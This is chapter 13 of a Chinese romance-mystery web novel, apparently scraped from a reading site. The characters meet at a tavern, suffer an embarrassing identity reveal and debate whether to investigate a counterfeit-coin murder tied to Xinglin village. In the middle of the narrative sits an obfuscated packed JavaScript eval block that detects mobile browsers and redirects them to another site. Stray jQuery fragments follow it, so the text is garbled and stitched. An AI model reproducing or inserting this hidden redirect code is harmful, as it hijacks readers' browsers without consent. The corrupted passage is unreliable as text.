13. 第13章

作品:《敌国摄政王他演技过人

    磨蹭间已过了午时,几人走出深巷,就近寻了家酒楼。虽不似醉江楼那般朱甍碧瓦,却也窗明几净,别有一番雅致。


    沈霁川始终一副怡然自得的模样,偏他又生得一副好皮囊,眉眼间自带三分风流,行走在这长街上,不知惹得多少姑娘悄悄红了脸,却又忍不住频频侧目。


    着实浮夸,萧燕昭忍不住腹诽,实是不知幼时那个白面团子似的乖小孩被藏到哪里去了。


    盛璋却与之相反,他仍绷着张脸,可眉宇间的郁色好歹散了几分。许是经年累月在刑部办案淬出的习惯,他左手总是按在腰间佩剑上,眼神则不着痕迹扫视着街边行人,那姑娘们一接触他视线,纷纷吓得低头躲避。


    萧燕昭又摇了摇头,这盛璋看着便甚是不解风情,也不知哪个姑娘能看上他。


    忽然感受到有人靠近,萧燕昭身形微顿,侧头望去,四目相对间,只见金世安低笑一声道:“燕昭的心思,都写在脸上。”


    “有何不好?”萧燕昭却不以为意,她挺直了腰,扬了扬下巴,“权当你在夸我光明磊落。”


    踏入酒楼后,几人款款落座,小二躬身上前记录好菜色便转身离去了。


    在萧燕昭开口前,沈霁川便先她一步,“今日虽是你约我,但我也有话要同你说。”


    萧燕昭颇有些意外,她抱胸看向沈霁川,“你说。”


    “过段日子我便打算去睿王府提亲了。”沈霁川道。


    “睿王府……”萧燕昭闻言有些不敢置信,“你是说容舒槿?”


    “正是。”沈霁川面露得意之色,“前些日子我在外奔走打点才得以在大理寺与你相见,恰巧遇着郡主,她执意同往,还装模作样塞张纸条给你。”


    说着压低了声音,“我猜这小郡主,怕是醉翁之意不在酒。”


    萧燕昭下意识看了看身边的金世安,后者掩唇低咳一声,目光锁在桌子上,似乎也有些尴尬。


    “不……我觉得你误会……”


    萧燕昭话音未落,盛璋便眯了眯眼打断她:“大理寺?纸条?”


    随着这句话开口,桌上的气氛瞬间有些凝滞,萧燕昭后知后觉有些心虚,恰在此时,沈霁川站了出来,他做出一副义正言辞的模样。


    “你莫要吓唬燕昭,我不过是帮燕昭去调查了一下她认为非常可疑的金家次子,金世安而已——”


    “咚”的一声闷响,萧燕昭手上的青瓷茶盏跌落在桌上,沈霁川闻声回首,只见那茶盏骨碌碌滚至自己面前,茶渍犹自在桌上拖出一条蜿蜒的水痕。


    抬眼望去,萧燕昭仿佛被施了咒法般僵硬在原地,手指仍保持着握住茶盏的姿势,活脱脱一尊失了魂的玉雕。


    而萧燕昭身边那位眉眼温和的男子则不疾不徐放下手中茶盏,一扬眉梢,显得颇有些好奇。


    “哦?”他道:“这可疑的金家次子……沈兄可打听出些什么没有?”


    “交代我的事情,自然是办好的。”沈霁川道:“听闻金家二郎自小病骨支离,甚少在人前露面,不过据金府街坊的商户所说,这位二公子生得一副好相貌,惹不少姑娘都芳心暗许……只是不知比起我如何。”


    说着他又想起什么似的,压低了声音,“我还听闻,这金世安曾有过一门婚事,可因着他身体孱弱,便被自家大哥抢了去……”说到这里他眼中闪过一丝促狭:“啧啧啧,我倒认为,指不定是这金家二郎某些方面,不太行。”


    最后三个字故意咬了重音,一副煞有其事的模样。


    萧燕昭身体更僵了,她甚至没有回头的勇气。


    “依沈兄所言,私以为,这金家二公子定是不如你的。”


    眼见萧燕昭身边男子如此气定神闲开口,沈霁川顿觉十分受用,他心底竟有了一丝惺惺相惜的意味,不由问道:“先前就见兄台一直与燕昭同往,想来是她信任之人,在下沈霁川,不知兄台贵姓?”


    就见那男子粲然一笑,指尖点了点桌上杯羽,慢悠悠开口道:“在下城西金家次子,金世安。”


    “客官久等——”店小二拖着腔调,终于端着热腾腾的饭菜端上了桌,他脚步轻快,手中托着黑漆木盘,盘中热气氤氲,摆着秀色可餐的熟牛肉、香椿拌豆腐,还有一碟下饭的盐豉。


    刚准备上菜,就见桌上四人,一人如遭雷击,一人虚弱地用手撑着脑袋。


    而另外两人则显得气定神闲多了,其中一位公子还眉眼带笑,十分温和有礼挪了挪桌上的青瓷茶壶,好让他摆上饭菜。


    “我家中失火了……”沈霁川从石化状态苏醒过来的,身子一转就要离开。


    未曾想盛璋眼疾手快一把把他摁回椅子上,“今日刑部值守人数众多,纵使天塌下来,也有我替你擎着。”


    沈霁川干笑,却死活挣不开盛璋的手。


    另一边萧燕昭假意忙碌,一口茶分了十几次喝下,一边偏头看向窗外哼着小曲,一边不停抖腿,连带桌子都震颤着。


    街边小贩的吆喝声渐起,京都城在晌午短暂的平静后又热闹起来。


    金世安伸手按住桌面,微微倾身至萧燕昭身侧,温声道:“燕昭且安心,我岂是那等心胸狭隘之人,这香椿豆腐若再不用,怕是要辜负这等美味了。”


    萧燕昭闻言在心中重重叹了一口气,昨日醉酒的荒唐,还有强买米面的纠缠,再加上眼下这般尴尬的境地,她现在只觉愈发羞愧难当了。


    见她依旧没缓过神来,金世安小声道:“况且今日燕昭还有正事未办。”


    被一语点醒,萧燕昭当即坐直了身子,确如他所言,不可忘了此行的目的。


    缓缓舒出一口气后,萧燕昭整理好心情,切入了正题。


    “霁川,我今日约你是有要事问你。”


    沈霁川见她如此正色,不由也收起了窘迫之色,只是仍有些不敢直视金世安,清了清嗓子道:“你问吧。”


    萧燕昭看了一眼盛璋,迟疑一瞬,还是开了口:“昨日城东当铺门前发生了一桩命案,据说与私铸恶钱案有关,今日我才得知,死者便是那家当铺的掌柜,可我听说,那家当铺的东家……是你沈家,此事你可有听闻?”


    沈霁川思衬片刻,旋即颔首:“那家铺子确实在我名下,此事我已知晓。掌柜名唤赵继,上任才两个多月,是杏林村人。事发当日,我问过铺里小厮,得知赵继曾提起,他们村有个手艺不错的铜匠最近来了京都谋生,两人似乎有些生意往来。”


    萧燕昭没想到此事还涉及第三人,这个铜匠又在这件事中扮演什么角色?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102777|179812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她蹙了蹙眉,又道:“你可知赵继拿恶钱去糊弄同村之人,这才招惹了杀身之祸?”


    沈霁川一惊,“此事我确实不知。”


    一直没有开口的盛璋却插进了二人的谈话,他淡淡扫了一眼萧燕昭:“此事刑部全权接管,闲杂人等无权过问。”


    萧燕昭这才又将视线凝聚在盛璋脸上,闻言她也不恼,只道:“不告诉我也成,杏林村是吧,大不了我亲自跑一趟,我倒要看看这案子有多了不得。”


    “哎——”沈霁川却满脸不赞同,“千万别去,眼下可没人敢靠近这村子。”


    “为何?”萧燕昭反而来了兴趣。


    沈霁川神秘兮兮压低声音:“前几年有传闻杏林村所在的前山有上好的药材,两个小药童采药归来,不出三日竟浑身溃烂流脓,喉管堵满黄水窒息而亡,后来又有三两个药贩不信邪闯进村子,结果……连死状都如出一辙。”


    仿佛心有余悸般,沈霁川摇着头拍了拍胸口,“此事千真万确,阿璋当年可是亲眼所见。”


    金世安问道:“既如此,那死者赵继和凶手吴柳都来自杏林村,这二人怎么没事?”


    “据说只有外乡人会如此。”沈霁川耸耸肩,“我倒认为流言都不会是空穴来风,杏林村确实危险。”


    “那铜匠可还在京都城内?”萧燕昭问。


    “自从赵继出了事,听说那铜匠也回村了。”


    “这太怪了,”萧燕昭皱眉:“人一死就回村,好像做了什么亏心事急着逃走似的。”


    眼见萧燕昭愈发认真,盛璋面色不由凝重起来,他沉声道:“奉劝你不要去做些无谓之举,赵继曾言,说自己即将发一笔横财。而吴柳买药所用铜钱,刑部差役能一眼辨别出是私铸恶钱,皆因其铸模粗劣,与去年在阳瞿查获那批精铸货色天差地别。”


    他一字一顿道:“虽案件还在筛查,但如今刑部断定,是赵继勾结同村匠人,趁乱私铸恶钱牟利。”


    言下之意便是警告萧燕昭,这桩案子于震动朝野的私铸恶钱案不可同日而语,顺着这桩案子去查也得不到什么有用的信息。


    萧燕昭意外于盛璋虽疾言厉色,却肯开口帮她,她弯了弯眉眼,道:“盛小七,你还挺仗义的。”


    盛璋却依旧冷着脸,“我只是不想有人节外生枝。”


    金世安侧头看向萧燕昭,后者神色却没有松动,不知在盘算些什么,他不由开口问道:“还查吗?”


    他只是静静看着她,没有过多催促。


    萧燕昭也没有立刻回答,她能判断出盛璋说的是真话,此案已无追查的必要。


    京都城内暗潮汹涌,她尚有宣和帝先前所交代的要事要做,而非在这等无关紧要之事上徒耗光阴。


    可是……


    萧燕昭难以抑制地想起昨日,吴柳被她制住时,那双绝望的眼睛里盛着的痛楚与十二年前的自己如出一辙,可那时她还有江霆渊,而眼下除了自己,又有谁能帮他……


    更何况,若连查也不去查,怎能妄自断定此案与阳瞿的私铸恶钱案一定无关?


    那不是偷懒嘛。


    思及此,萧燕昭缓缓坐直了身体,她微微攥紧手心,声音很轻却不容置喙,“查,三日后我便起身去杏林村。”